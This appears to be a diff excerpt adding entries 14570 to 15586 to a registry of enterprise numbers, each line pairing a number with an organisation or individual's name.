+14570 Majentis Technologies Inc.
+14571 Atomz Corporation
+14572 EDIWISE
+14573 Abest Research Corp.
+14574 Cellicium SA
+14575 Attention Software, Inc.
+14576 Total Network
+14577 ForestExpress, LLC
+14578 Geac Library Solutions
+14579 Q Linux Solutions, Inc.
+14580 The Manticore Group
+14581 ManaSoft
+14582 LUZ Engenharia Financeira
+14583 TruTeq Wireless
+14584 Celestix Networks
+14585 Compass Internet
+14586 Tmax soft
+14587 Technological Centre "Tushino" CB RF
+14588 Neosymmetria
+14589 Sicap Ltd
+14590 Passave Inc.
+14591 ncc network consulting GmbH
+14592 iOrange - Internet Software and Service GmbH
+14593 Dyode
+14594 Rudolf Bahr
+14595 BillReilly
+14596 Martin Wismans GmbH
+14597 DolphinSearch, Inc.
+14598 USDS
+14599 Corman
+14600 CryptAll Limited
+14601 Baazee.com
+14602 Interval Media
+14603 Cyberport.de GmbH
+14604 Commvault Systems
+14605 Wesleyan University
+14606 Hewlett-Ward Inc.
+14607 Futuro Technologies Inc
+14608 Transfinity Corp
+14609 Todito.com S.A. de C.V.
+14610 Solutions First
+14611 Web-Alm GmbH
+14612 Linköping University
+14613 Ecora
+14614 AvantCom Corporation
+14615 Vivato Inc.
+14616 University of Arkansas at Little Rock
+14617 Diseños Electronicos
+14618 Mennen Medical
+14619 Quadrox Inc.
+14620 Saint-Gobain
+14621 Wendy's International
+14622 VTLS Inc
+14623 Riverstyx Internet
+14624 vergerus
+14625 Servecomm
+14626 Reuters
+14627 Idt Corp
+14628 ResEl
+14629 SourceTech AB
+14630 Binary Systems Inc
+14631 American Institute of Physics
+14632 Via Internaathional
+14633 Nuberry Ltd
+14634 Itool Systems
+14635 daviesco
+14636 Ontain Corporation
+14637 Solectron
+14638 Concurrent Reality Pty Ltd
+14639 HXTP
+14640 Wurley Solutions
+14641 Raymond James Financial
+14642 104.com
+14643 Future Beacon, Inc.
+14644 HiFlyCom Corp.
+14645 W-ibeda High Tech. Develop. Co. Ltd.
+14646 buptNKL
+14647 Rossberry Consulting
+14648 SurfNShop E-Commerce Inc.
+14649 holleyism.com
+14650 Lead Up Software
+14651 T-Systems International GmbH SL NWS
+14652 University of St. Thomas
+14653 Metaways Infosystems GmbH
+14654 MUZO, a.s.
+14655 Gatespace
+14656 4IT S.A.
+14657 Universita' degli Studi di Parma
+14658 Dieter Kluenter System Beratung
+14659 Vividlink Detlef Ingendorf
+14660 Fachhochschule Wiesbaden
+14661 KAV-EMB
+14662 Bid-Owl Bildung im Dialog Ostwestfalen-Lippe
+14663 IXIF Limited
+14664 Init Systems
+14665 Comlab Telecommunications inc
+14666 McLeod Lake Indian Band
+14667 NextiraOne LLC
+14668 ViaSat, Inc., Acceleration Research and Technology (formerly 'Intelligent Compression Technologies')
+14669 Systemhaus x-Team
+14670 MTX Networks Inc.
+14671 GenFour Communications, LLC
+14672 Datamaxx Applied Technologies Inc
+14673 Prefeitura Municipal de Alegrete
+14674 InfoQuality Consultoria em Informática
+14675 Centell Kingdom Technologies Corporation Shanghai Branch
+14676 Obsidian Systems
+14677 geekhosting
+14678 BFW Informationssysteme GmbH
+14679 Hansard International Ltd
+14680 Bright Grey
+14681 Tixoronet Vertriebsgesellschaft mbH
+14682 Asopos de Vliet
+14683 Centell Kingdom Technologies Corporation Shanghai
+14684 System Management Network
+14685 DataPower Technology, Inc.
+14686 Megasoft Limited
+14687 Halion Systems
+14688 Systems Experience
+14689 Urbancode Software Development, Inc.
+14690 Greymoose
+14691 Fingerlos
+14692 Integrators AG
+14693 CISL Systems Ltd.
+14694 bmd wireless AG
+14695 Herrmannsdoerfer Software Entwicklung
+14696 Absolut OK
+14697 RRDtool
+14698 CSRI "Elektropribor"
+14699 Hagen Software Inc.
+14700 frontiertech
+14701 Persist Technologies
+14702 Neusoft Digital Medical System CO., LTD.
+14703 MIYAKAWA ELECTRIC WORKS LTD.
+14704 PingoS e.V.
+14705 Province of British Columbia
+14706 sFlow.org
+14707 Tatara Systems, Inc.
+14708 Graceland University
+14709 Reactivity, Inc.
+14710 Taua Biomatica
+14711 Vaka Technology Limited
+14712 Sascha Growe
+14713 Blacksburg Electronic Village
+14714 Questra Corporation
+14715 ManyStreams Inc.
+14716 British Columbia Institute of Technology
+14717 sunHosting company
+14718 BKit Gruppen AB
+14719 Harmony Gold Operations
+14720 HD-info
+14721 Techem Energy Services GmbH
+14722 Peter Shillan
+14723 canal systems GmbH
+14724 Business Objects
+14725 SaM Solutions
+14726 Server Side S.A
+14727 Henrik Edlund
+14728 Pronet sp. j.
+14729 Innerwall
+14730 Telecom Italia Lab
+14731 Christian Kuelker
+14732 Nodots Development, Inc.
+14733 YASKAWA INFORMATION SYSTEMS Corporation
+14734 FLOW Communications
+14735 ESOO
+14736 ghip systems GmbH
+14737 Global Grid Forum
+14738 Henderson & Co
+14739 rleague.com
+14740 TechAngle Inc.
+14741 Catalyst International, Inc.
+14742 Digital Multitools Inc.
+14743 Wachovia Bank
+14744 TeleNova Research and Development Centre
+14745 Pumpkin Networks
+14746 Interstorm, Inc.
+14747 Vision Internet Services
+14748 Computer Support Systems Pty. Ltd.
+14749 University of Rochester
+14750 Aware Servers, Inc.
+14751 SkyWare Communications Limited
+14752 Proware Technology Corp.
+14753 ppyworld
+14754 Koch Mikrosysteme AG
+14755 LYNX Technik AG
+14756 ProgTec GmbH
+14757 Groiss Informatics GmbH
+14758 BPS Co. Ltd.
+14759 Adesium Réseaux et Services
+14760 Wincor Nixdorf International GmbH
+14761 Ubisecure Solutions
+14762 intarsys consulting GmbH
+14763 Video-Net Systems
+14764 MisrNet, S.A.E.
+14765 Grafix Profesional S.R.L.
+14766 AVICONSULT
+14767 BWXT-PANTEX
+14768 AGMarine, Inc.
+14769 Sybari Software, Inc.
+14770 Teleport Consulting and Systemmangement
+14771 Computer Sciences Corporation
+14772 Neptune Project
+14773 Engitech Ltd.
+14774 GNU Internet
+14775 Peak Internet
+14776 Mystic Coders
+14777 izenpe s.a.
+14778 GEV - Ecole des Mines
+14779 e2 Technology Inc.
+14780 KAEVEE
+14781 ThoughtPort Authority of Chicacgo
+14782 Cole Innovations, Inc.
+14783 Asociacion para la Promocion del Arte a traves de Internet
+14784 AltaTrust
+14785 Five4321
+14786 Open Network Solutions Ltd
+14787 ZYM Linux
+14788 William D. Petitt
+14789 Principal Financial Group
+14790 Statsbiblioteket
+14791 Nakua Technologies
+14792 Data Conseil
+14793 System-Entwicklung Dietrich Schulten
+14794 Banco Herrero
+14795 Intellocity
+14796 AUCOS elektronische Geraete GmbH
+14797 DynaStar Communications
+14798 NETdelivery Corporation
+14799 StarNET Services
+14800 Legra Systems
+14801 tangro software components gmbh
+14802 Inder.Net
+14803 Schubert Informationssysteme
+14804 Innotrac Diagnostics Oy
+14805 AFP7
+14806 Tadiran Electronic Systems
+14807 FrIc-Net
+14808 The Sage Colleges
+14809 Datasul MED S.A.
+14810 Advanced Digital Broadcast Ltd.
+14811 Xilith LLC
+14812 Cedars-Sinai Health Systems
+14813 Fujitsu Transaction Solutions Inc.
+14814 CaroTechnology BV
+14815 Datasul S.A.
+14816 Thomas Polnik
+14817 4RF Communications Ltd.
+14818 Voice Mobility, Inc.
+14819 University of Cyprus
+14820 net outremer caledonie
+14821 Stibo
+14822 FaJo.de
+14823 Aruba, a Hewlett Packard Enterprise company
+14824 Centaur Technology Inc
+14825 Aldata Solutions S.A.
+14826 Adage Networks
+14828 Sonorys Technology GmbH
+14829 Centra Software
+14830 UPtime Systemlösungen
+14831 voetter.at
+14832 ESO Consortium
+14833 Portal Solutions Technology, Inc.
+14834 Konsec GmbH (formerly 'mediales GmbH')
+14835 INFOTEC
+14836 VARTA Microbattery GmbH
+14837 Trenchant Consulting, LLC
+14838 National Management & Organization SA
+14839 Newtech-BT Ltd
+14840 Smartwave SA
+14841 LEA (Laboratoire Europeen ADSL)
+14842 LANergy
+14843 Satnet SARL
+14844 Upfront Systems
+14845 Engineering Ingegneria Informatica S.p.A.
+14846 Padtec Optical Components and Systems
+14847 Order of Preachers
+14848 better networks
+14849 Corporate Computer Services, Inc.
+14850 Arc Solutions Limited
+14851 Storage Networking Industry Association
+14852 Kinpo Electronics, Inc.
+14853 CipherQuest Ltd.
+14854 Beijing Hisense Digi_Tech Co.,Ltd.
+14855 CERAMISTA Recom Serviex
+14856 Trinitel Corporation
+14857 XCAT Co.,Ltd.
+14858 Azundris Consulting
+14859 Lawo AG
+14860 GWS mbH
+14861 Britannia Building Society
+14862 Ministerio de Administraciones Públicas
+14863 ATMAVA Ltd
+14864 TNCE
+14865 Interplex Telecom
+14866 Cottonwood Technology Group, Inc.
+14867 Halcyon Software Limited
+14868 MAV INFORMATIKA Ltd.
+14869 Saudi Telecom
+14870 AVAYA
+14871 Inter-Land.Net
+14872 AVK-AdherSIS Inc.
+14873 Broadband services
+14874 Rockstorm Technology AB
+14875 Leadglobe
+14876 Open Text Corporation
+14877 Plexus Technology Ltd.
+14878 vcrDev
+14879 woko
+14880 Systemhaus Kalkhoff
+14881 QunaTech
+14882 smartBridges
+14883 antek networks INC.
+14884 Exelmon Technologies
+14885 JSC RPE "Polygon"
+14886 AIR Co., Ltd.
+14887 Nomura Research Institute, Ltd.
+14888 Das Werk
+14889 openforum.us
+14890 Team-Konzept Informationstechnologien GmbH & Co KG
+14891 Lawseal
+14892 Netsynt S.p.A.
+14893 NOXA
+14894 Teatica
+14895 Propel Software Corporation
+14896 Attingo
+14897 York Consulting
+14898 Access Communications
+14899 Town of Suffield
+14900 Integrated Concepts International
+14901 Vodafone Libertel NV
+14902 DATAmark
+14903 Digirose Technology Co., Ltd.
+14904 TwTec
+14905 DEVAU Lemppenau GmbH
+14906 NVISION, INC.
+14907 NOC-CCE-USP
+14908 Upcast Inc
+14909 Igenda Software
+14910 IP Solutions, Inc.
+14911 RFP Depot, LLC.
+14912 Smiths Aerospace
+14913 Retriever Communications
+14914 Vexus Consulting Group
+14915 ASPire Technologies(Shenzhen) Ltd
+14916 Utah Interactive, Inc.
+14917 SimpleTech
+14918 Algar Telecom Leste
+14919 Singlestep Technologies
+14920 Mineco
+14921 CTW Computer
+14922 Realnode Ltd
+14923 Abilene Christian University
+14924 The NewSof Group, Inc.
+14925 Wavecentral, L.L.C.
+14926 atraia.com
+14927 DISC, Universidad Católica del Norte
+14928 Unipulse
+14929 Onscom Co., Ltd.
+14930 Solar Telecom. Technology Inc.
+14931 Victoria University of Technology
+14932 GuangZhou TopTeam Software Technology Co., Ltd.
+14933 Chung Yuan Christian University
+14934 Vodafone IT (Turkey)
+14935 FS Walker Hughes Limited
+14936 Eurotux Informática, SA
+14937 Itech
+14938 Exacom, Inc.
+14939 StyleeB LLC
+14940 BlueCross and BlueShield of North Carolina
+14941 Inflection Systems
+14942 Avvio Networks
+14943 INNOVATION Data Processing
+14944 Primal Technologies
+14945 JBX Designs Inc
+14946 Gothenburg University
+14947 Kyrgyz-Russian Slavic University
+14948 Hungarian Foreign Trade Bank
+14949 North Building Technologies Ltd.
+14950 Servicios Digitales de Certificacion, S.L.
+14951 Efacec Energia, Máquinas e Equipamentos Eléctricos, S.A.
+14952 Eyeheight Ltd.
+14953 Serio Ltd
+14954 Cingular Wireless
+14955 CANAM
+14956 NetGate SL
+14957 Nissan North America
+14958 PSC technology GmbH
+14959 CBR Yazýlým danýþmanlýk A.Þ
+14960 Undernet
+14961 Millennium Technology Limited
+14962 Ingosstrakh Ltd.
+14963 Telemetry & Communications Systems, Inc.
+14964 EFERIS
+14965 Wideinfo Corporation
+14966 Linos Photonics GmbH & Co KG
+14967 horsfall.org
+14968 WYNIWYG
+14969 Columbia Ultimate
+14970 CAM Internet
+14971 dlh services
+14972 Jeb
+14973 Deeming.net
+14974 Data Telecom OÜ
+14975 BRy Tecnologia S.A.
+14976 softmillennium
+14977 Wuerth Elektronik
+14978 Commerzbank AG
+14979 Core Tec Communications, LLC
+14980 Guidant Corporation
+14981 Cogent Logic Corporation
+14982 iKu Systemhaus AG
+14983 Woaf Tech Ltd
+14984 PoCo
+14985 Hsi Hu Serion High School
+14986 Nextreaming Corporation
+14987 E3Networks,LTD
+14988 MikroTik
+14989 Cinesite
+14990 inm magic
+14991 RESA Airport Data Systems
+14992 Stagira
+14993 IGD
+14994 MITEQ, Inc.
+14995 Netinary
+14996 Stille Design
+14997 SOHOware, Inc.
+14998 Transportation Security Administration
+14999 Codesic
+15000 Kontron Canada Inc
+15001 Seward Designs, Inc.
+15002 Intentional Software Corporation
+15003 IPonWEB Ltd
+15004 RuggedCom Inc.
+15005 Fiba Software srl
+15006 P.W.P.T. Wasko sp. z o.o.
+15007 Metro Ethernet Forum
+15008 Tilaria Inc.
+15009 Gplicity
+15010 LogiTEL Ltd
+15011 Revivio Incorporated
+15012 Bernard Madoff Investment Securities
+15013 Quantec, LLC
+15014 8004 Limited
+15015 Integrated Modular Systems, Inc.
+15016 Nettiportti OY
+15017 Johns Hopkins Singapore
+15018 DayDay Software LTD.
+15019 Bazy i Systemy Bankowe Sp. z o.o.
+15020 Productos Profesionales de Telecomunicacion
+15021 mobidot
+15022 Golden Gate University
+15023 tremium
+15024 Tougas.NET
+15025 Studentersamfundet i Trondhjem
+15026 centre hospitalier de roanne
+15027 SecCommerce Technologies AG
+15028 James Collings
+15029 Jareva Technologies, Inc
+15030 Guangzhou RCOM Communication Co., Ltd
+15031 University of Melbourne, Computer Science/Grid Computing
+15032 INQGEN Technology Co., Ltd.
+15033 Realtime Embedded AB
+15034 KSolutions S.p.A.
+15035 Partner Voxtream
+15036 Logical
+15037 Shands Healthcare and Teaching Clinics, Inc.
+15038 Charles Stark Draper Laboratory, Inc
+15039 Armedia
+15040 Global Aeon Pty.Ltd.
+15041 Poznan University of Technology
+15042 vsecure
+15043 Jeng-Ye Tech. Enterprise Co.,LTD.
+15044 Transatel
+15045 MoneyAM Ltd
+15046 ClickFox, LLC
+15047 Java Software Foundry
+15048 Startek Engineering, Inc.
+15049 Seattle Central Community College
+15050 Waycom International
+15051 Finkle Enterprises
+15052 Gemini Technologies Inc.
+15053 MeriTek Systems, Inc.
+15054 PASS-K
+15055 Ikegami Tsushinki Co., Ltd.
+15056 anthonyhan.org
+15057 MORAVIAPRESS a.s.
+15058 CEISEC
+15059 Baptiste Malguy
+15060 Zentic
+15061 ServuS A.S
+15062 Million Corporation
+15063 eko systems inc
+15064 MANY sa
+15065 Mantas, Inc.
+15066 James Richardson Enterprises
+15067 SMTMS
+15068 Beijing CAPE Computer Software Engineering Corp.
+15069 Elasto Centro
+15070 YESComm
+15071 Frontier Solution Co., Ltd.
+15072 HSB Bank AB
+15073 Synad Technologies Ltd.
+15074 Thus Plc.
+15075 Icom
+15076 Fresenius AG
+15077 Thermeon Corporation
+15078 Sysnet Telematica srl
+15079 Remark! Internet Limited
+15080 XAIDAT
+15081 Screwage, Inc.
+15082 Carey International, Inc.
+15083 RentPayment.com
+15084 Mobile Radius USA, Inc.
+15085 AFPA DSIS
+15086 Omega-Trin Ltd.
+15087 projekt13
+15088 AdvizeX Technologies LLC
+15089 Scientific Systems Company, Inc.
+15090 teamix GmbH
+15091 Boyd Consulting Services, LLC
+15092 Perfcap Corpoation
+15093 Novartis International AG
+15094 Linetec Gmbh
+15095 TDC Services A/S
+15096 Agència Catalana de Certificació
+15097 SevenSpace
+15098 Smithsonian Institution
+15099 Loma Linda University
+15100 Grupo de Arquitectura y Concurrencia (GAC)
+15101 Volt Delta Resources Inc.
+15102 US LEC
+15103 EIVD
+15104 ModLink Networks
+15105 503 Integrated Systems
+15106 Wificom Technologies Ltd
+15107 Siraya Inc.
+15108 Macao Post and Telecommunications Bureau - eSignTrust (formerly 'Macao Post eSignTrust Certification Authority')
+15109 Psytechnics
+15110 Savantis Systems, Inc.
+15111 Dennis Eriksson
+15112 Whack Productions
+15113 MagTek
+15114 Stabilizer AB
+15115 Obvius LLc
+15116 Liberty IT Solutions
+15117 Protection One Inc.
+15118 Westar Energy
+15119 Fidelity National Information Solutions
+15120 CRCnet Wireless Network
+15121 Mentata Systems
+15122 Interface Web Hosting
+15123 Fachhochschule Oldenburg/Ostfriesland/Wilhelmshaven
+15124 Rodan Systems S.A.
+15125 Vectura
+15126 Andreas Damm
+15127 CUNY/CIS
+15128 Vergata EDV-Beratung
+15129 E-CARD Ltd.
+15130 Gens Software Ltd.
+15131 EDGEACCESS
+15132 Six Continents Hotels
+15133 Illinois Institute of Technology
+15134 Christian Boesch
+15135 omatis
+15136 Sukumar Patel
+15137 ENOVIA
+15138 Sim Freaks
+15139 LandTime, Inc
+15140 YoYoWeb
+15141 Infotropic AB
+15142 comunicando società per azioni
+15143 Synergy Business Solutions, Inc.
+15144 Binary Wave Technologies Inc.
+15145 iReasoning Networks
+15146 M444 Systems, Inc.
+15147 Hrvatske Autoceste d.o.o (HAC)
+15148 Witteveen+Bos
+15149 xantury.com
+15150 EXOSEC
+15151 Spyderworks Ltd
+15152 Scholl Engineering
+15153 DMSfactory GmbH
+15154 ActiVia Networks
+15155 IPSQUARE Inc.
+15156 Accusys
+15157 dL_s
+15158 SCA
+15159 ultraDyne
+15160 Interactive Northwest, Inc.
+15161 Idealab
+15162 Movilok Interactividad Movil S.L.
+15163 NetKingCall Co., LTD.
+15164 Open Point Networks
+15165 NT-SYSTEMS
+15166 Brian Bunnell
+15167 Chapcom
+15168 Vossloh Information Technologies Karlsfeld GmbH
+15169 IIZUKA Software Technologies
+15170 Crinis Networks
+15171 Landmark Graphics Corporation
+15172 Supcik.net
+15173 Hammerhead Systems
+15174 Safescrypt Limited
+15175 Lonny Software
+15176 Advanced Info Service PLC.
+15177 ADMtek Incorporated
+15178 Axtion Systems Corporation
+15179 Seance Software Inc.
+15180 City of Bloomington, IN
+15181 IneoQuest Technologies Inc.
+15182 ads-tec GmbH
+15183 objectlab, llc
+15184 ITXC
+15185 Phantasia Broadcast Ltd.
+15186 SolumSTAR
+15187 NYS Department of Civil Service
+15188 Gemfor s.r.o.
+15189 objectlab, llc
+15190 incNETWORKS, Inc.
+15191 Voice Print International, Inc.
+15192 Evergreen Assurance, Inc.
+15193 Tacit Networks
+15194 Alan Flett
+15195 privat
+15196 Liqwid Networks
+15197 HOW CO.,LTD
+15198 FNET Co., Ltd
+15199 Infologic Nederland B.V.
+15200 Flexibix Inc.
+15201 UpSync Software India Private ltd.
+15202 Oe-Consult Software GmbH
+15203 TDC Mobile A/S
+15204 Mobilethink A/S
+15205 Nordsan Technology Co., Ltd.
+15206 Visualpix SA
+15207 Modul 1
+15208 Ombre et Pixel
+15209 Precision Therapy International
+15210 Shinkuro Inc.
+15211 North Country Internet Access
+15212 ITAU
+15213 ITAUSA
+15214 Global Network Operations Ltd.
+15215 Agilejava.com
+15216 White Rabbit
+15217 AltaVista
+15218 KSC Commercial Internet Co.,Ltd.
+15219 SEVOI Co. Ltd
+15220 n.v. QWENTES s.a.
+15221 Lorus Inc.
+15222 Rastar Digital Marketing
+15223 Andago
+15224 OZTECH
+15225 NightStar Corporation
+15226 Etronics
+15227 Venus Info Tech Inc.
+15228 Damm Cellular Systems A/S
+15229 T-Systems Schweiz AG
+15230 SecurIT BV
+15231 schulz engineering
+15232 COM.BOX Fotofinder GmbH
+15233 Regenative Inc.
+15234 SoftSwitching Technologies
+15235 Xpoint Technologies, Inc.
+15236 R & K Global Business Services, Inc.
+15237 Intellinger Software Corporation
+15238 Collins Enterprises LLC.
+15239 Applico Security, Inc.
+15240 AHB Internet Solutions
+15241 nimel
+15242 ToolCASE LLC
+15243 gav-lv
+15244 Essential Systems, Inc.
+15245 INFNIS
+15246 EDV Beratung & Netzwerktechnik Dipl.-Ing. Matthias Kahle
+15247 Rocksoft Limited
+15248 Quantel Ltd
+15249 x-cellent technologies GmbH
+15250 Morse Group Ltd
+15251 Deutsche Telekom T-Com
+15252 SB&C, Ltd.
+15253 Ceyba
+15254 Kaseya Sweden AB (formerly 'Intellipool AB')
+15255 Reliable Controls Corporation
+15256 United Nations
+15257 City Computing Limited
+15258 Exers Technologies, Inc.
+15259 Saarländischer Rundfunk
+15260 Université Cahtolique de l'Ouest
+15261 UniCon Software GmbH
+15262 Data Display Limited.
+15263 DLRG Landesverband Rheinland-Pfalz
+15264 Anonymizer Inc.
+15265 Telelogic AB
+15266 Omnibus Systems Ltd
+15267 Damage Prevention Systems
+15268 Oy NetItBe Ltd
+15269 Craniac Entertainment
+15270 Printcafe Software, Inc.
+15271 Landesamt fuer Steuern (formerly 'Oberfinanzdirektion Koblenz')
+15272 MaaTec
+15273 The Paloma Group, Inc.
+15274 Paul Scherrer Institut
+15275 AAE Systems
+15276 BearASP
+15277 SoftTree Technologies, Inc.
+15278 Oblicore Inc.
+15279 WFI
+15280 Relapixity, LLC
+15281 ZeOmega Infotect
+15282 GCom
+15283 Mikroliitti Oy
+15284 POSTA SLOVENIJE
+15285 iSolv Technologies cc
+15286 ADPM
+15287 Joachim Bauch (formerly 'FOB Team')
+15288 Register SpA
+15289 Advanced Broadband Communications Center (CCABA-UPC)
+15290 Ordway Center for the Performing Arts
+15291 Mach Technology, Inc.
+15292 American City Business Journals
+15293 Coderanger inc.
+15294 EP Imaging Concepts, Inc.
+15295 Metrima
+15296 Plum Financial Service Pty Ltd
+15297 Sonera Solutions Oy
+15298 Volkswagen Bank GmbH
+15299 Elcoteq Network Corporation
+15300 Wireless Independent Provider AB
+15301 KFKI RMKI SzHK
+15302 GalaxE.Solutions, Inc
+15303 accelerate IT services
+15304 TakeIT
+15305 MBUF
+15306 Mount Royal College
+15307 Esphion Ltd
+15308 Peace Software
+15309 e-Dynasty Limited
+15310 Exodus Communicaitons
+15311 misTrust Certification Authority
+15312 Jozef Stefan Institute
+15313 REDLINK Mediendienste GmbH
+15314 IT+ A/S
+15315 Internet Business News
+15316 Hub Hill Software
+15317 Wells Fargo
+15318 Edu4 France S.A.
+15319 SkyPilot Network, Inc.
+15320 Custom7
+15321 Transcor, Inc
+15322 Echopass Corporation
+15323 INP-net
+15324 Walter E. Helmke Library
+15325 STVA
+15326 Mobicus Oy
+15327 Halden Dataservice AS
+15328 Svanberg Consulting
+15329 Dalian University of Technology
+15330 KLEEGROUP
+15331 Indagon Oy
+15332 Logica UK Ltd
+15333 Global Communication Technologies,Inc.
+15334 MWVCAA
+15335 ITXC
+15336 Telemet America, Inc
+15337 Photronics, Inc.
+15338 PalmSource, Inc
+15339 ilse media groep b.v.
+15340 George Furniture
+15341 Wuhan Yangtze Communications Industry Group Co.,Ltd.,China.
+15342 Vitalect Technologies India Pvt. Ltd.
+15343 FUNDACION INASMET
+15344 Yomi PLC.
+15345 Dansk Røde Kors
+15346 Viking Systems
+15347 IGH Ingenieurgesellschaft Höpfner mbH
+15348 Precision Interop, LLC
+15349 Andreas Bartsch IT Solutions
+15350 Jatosoft LLC
+15351 ForeverLiving.com
+15352 University of Arkansas at Fort Smith
+15353 Integrated Digital Solutions Inc.
+15354 Number 1 Customer, LLC
+15355 Integan
+15356 BartNET
+15357 Diversified Systems Resources, LTD
+15358 Cygnetron, Inc.
+15359 Multidas Technologies, Inc.
+15360 CENTRE DE SANTE MENTALE
+15361 RPA Research Co., Ltd.
+15362 Digital on net Co., Ltd.
+15363 Hotel Interski ****
+15364 Sibsnet Technologies
+15365 INFOSTEP
+15366 Dunhuang Academy
+15367 ZlanTec
+15368 UnixAG Siegen
+15369 Cititech Australia
+15370 GIGA-BYTE TECHNOLOGY CO., LTD
+15371 Horry Telephone Cooperative
+15372 Max-Planck-Institute for evolutionary Anthropology
+15373 NASK
+15374 Enfo Oy
+15375 HSB Systemhaus GmbH
+15376 De Nayer
+15377 ChiliMoon Foundation
+15378 CSI Piemonte
+15379 Allocity
+15380 AlterPoint, Inc.
+15381 Wilkes University
+15382 Bit Hosting
+15383 BlueJavelin, Inc.
+15384 NCARP.COM
+15385 Genasys II Spain
+15386 Ibis Tecnologia e Informacao
+15387 Industri Telekomunikasi Indonesia (INTI)
+15388 MagiNet Company, Ltd.
+15389 Bestway Telecom
+15390 Silu co.
+15391 iei
+15392 OLVIKO
+15393 AvestaPolarit AB
+15394 P.T Sigma Cipta Caraka
+15395 CrossML
+15396 Alfa & Ariss b.v.
+15397 Netintact AB
+15398 IC3S AG
+15399 Universite de Poitiers
+15400 Post Consult International
+15401 EUnet EDV und Internet Dienstleistungs AG
+15402 Proximity Corp
+15403 T-Systems CDS GmbH
+15404 PenTeleData Inc
+15405 Comunicaciones NetPeople C.A.
+15406 Axiom Integration, Inc.
+15407 Ambicom, Inc.
+15408 TrueContext Inc.
+15409 Customized Database Systems
+15410 Seaway Networks
+15411 Lasipalatsin Mediakeskus Oy
+15412 Cotagesoft Inc.
+15413 Oden Oden Wireless Networks Technology (Shanghai) Ltd
+15414 BillHusler.com
+15415 Openet Information Technology (Shenzhen) Co.,Ltd
+15416 Saft Power Systems
+15417 IMA - Informatica de Municipios Associados
+15418 Forum Systems Inc.
+15419 Forest Siding Supply
+15420 Lightsurf Technologies
+15421 Chiemgau Gymnasium Traunstein
+15422 ARTIFintelligence, LLC
+15423 NetSpace - Soluções Informáticas
+15424 Storeimage Programs Inc.
+15425 ImageStream Internet Solutions
+15426 Korea Internet Data Center
+15427 Hwa-jin Seo
+15428 Cybertec Pty Ltd
+15429 Future Computing Solutions India Pvt. Ltd.
+15430 JIN Information Systems
+15431 Xion IT Systems AG
+15432 Cybcon Industries
+15433 Landespolizei Mecklenburg- Vorpommern
+15434 Chebucto Community Net
+15435 worldnet21
+15436 OsiTools
+15437 SSO
+15438 RTL Television
+15439 PASS Technologie
+15440 ZPH Litex
+15441 Karell
+15442 Orchestel Systems
+15443 JP Sync
+15444 Saffron Solutions, Inc
+15445 SBS
+15446 CyberPower Systems, Inc.
+15447 SEM Ltd
+15448 DAMOVO Ceska Republika
+15449 Foursys, Inc.
+15450 Innominate Security Technologies AG
+15451 Realitatea TV
+15452 Geovariances
+15453 ABZ Nederland
+15454 Arbor AudioCommunications
+15455 Unassigned
+15456 La cocina
+15457 Ackernet
+15458 Mark McKenzie
+15459 M-Systems
+15460 Orchestel Systems
+15461 Corybant
+15462 Rupprecht & Patashnick Co., Inc.
+15463 Huron Superior Catholic District School Board
+15464 Muskoka.com
+15465 University of Toronto
+15466 Peacefulhaven
+15467 Digibel
+15468 Siege.org
+15469 Internet Connection
+15470 Digital System Resources
+15471 Nucleo de Pesquisa em Redes e Sistemas Abertos
+15472 SOA Software, Inc.
+15473 Spring Worth Inc.
+15474 Lighthouse Software Group
+15475 Zhongguang Telecommunications
+15476 Fareastone telecommunication Corp.
+15477 Bank for foreign trade
+15478 Höft & Wessel AG
+15479 dudley.org
+15480 Trillion Digital Communications
+15481 Capital Channel Information Co. Ltd.
+15482 Tian En
+15483 O.C.A. S.A.
+15484 Lux Technologies
+15485 University of Otago
+15486 keyon
+15487 Daisy Technologies Inc.
+15488 Pure Matrix, Inc.
+15489 Home SE AB
+15490 Prasanna Technologies
+15491 Protegrity Inc.
+15492 Sichuan Changhong Electric Group Co,Ltd.
+15493 Goll Enterprises
+15494 Helium LLC
+15495 eHouse
+15496 LaScoala
+15497 IronPort Systems, Inc.
+15498 TESI S.p.A
+15499 The King's University College
+15500 eWings Technologies, Inc.
+15501 M&C Laboratory Inc.
+15502 Animezone
+15503 University of Bern
+15504 Ministère de l'équipement, des transports, du logement, du tourisme et de la mer
+15505 Echoworx Corporation
+15506 Akiratech Limited
+15507 TierOne OSS Technologies, Inc.
+15508 PacketIQ Corp.
+15509 direto.org.br
+15510 Rhetorical Systems, Ltd.
+15511 Groupe ERMEWA S.A.
+15512 COMAX INC.
+15513 Gendac
+15514 Financijska agencija
+15515 DGET
+15516 SoftWorks Australia Pty Ltd
+15517 Entri ltd
+15518 Vocalocity, Inc.
+15519 Results Computing Corporation
+15520 actiSwitch, Inc.
+15521 signalkontor GmbH
+15522 Whitman College
+15523 Equine.com
+15524 Access Point Inc
+15525 Braum's Ice Cream
+15526 Mixmobile
+15527 ANIENIB
+15528 Naviair
+15529 Universidad del Valle
+15530 Integrated Technology S.C.
+15531 VPNChina Tech-Development Corp.
+15532 hollomey consultants gmbh
+15533 Mobile Tornado
+15534 Linup Front GmbH
+15535 Vereniging Milieudefensie
+15536 PTM.com
+15537 EMK Design
+15538 ASIGRA Inc.
+15539 Media 4 Sp. z o.o.
+15540 AM Corporation
+15541 RH Ministarstvo gospodarstva
+15542 EMK Design
+15543 Illinois Power Company
+15544 American Mensa, Ltd.
+15545 Probix
+15546 eleven.am
+15547 Onaras AG
+15548 Pillar Data Systems
+15549 XCache Technologies, Inc.
+15550 La Sierra University
+15551 Object Engineering GmbH
+15552 Statmon Technologies Corp.
+15553 SnarlSNMP Dynamic Web Application Monitor Developers Group
+15554 Democratic National Committee
+15555 Gold Coast City Council
+15556 Chuq Yang
+15557 Inflection Technologies
+15558 Institute of Chemical Process Fundamentals
+15559 Orionet
+15560 Yanfa
+15561 Coleman Family Camps
+15562 mbrace.org
+15563 Adtron
+15564 Aselia Technologies, Inc.
+15565 Great Plains Mall.net
+15566 EmberPoint Holdings Co., Ltd (formerly 'Cheetah Digital Japan Co., Ltd')
+15567 Neople Ltd.
+15568 Center for Development of Information Technology - CDIT
+15569 Krasnoyarsk ICC subdivision of MCC, JSC "Russian Railways"
+15570 Bayerische Landesbank
+15571 Schuler Electronics
+15572 Tcom&dtvro
+15573 Apertio Ltd
+15574 E-milio Internet Services, S.L.
+15575 Chimes, Inc.
+15576 Pompoen B.V
+15577 AirPrism
+15578 DeepRoot Linux
+15579 Saeson Telecom co., ltd
+15580 VNIINS
+15581 Telemed Communications Services GmbH
+15582 Xtradyne Technologies AG
+15583 EUREG
+15584 de Werknaam
+15585 Northern Light Technology
+15586 Response Mechanics, Inc.
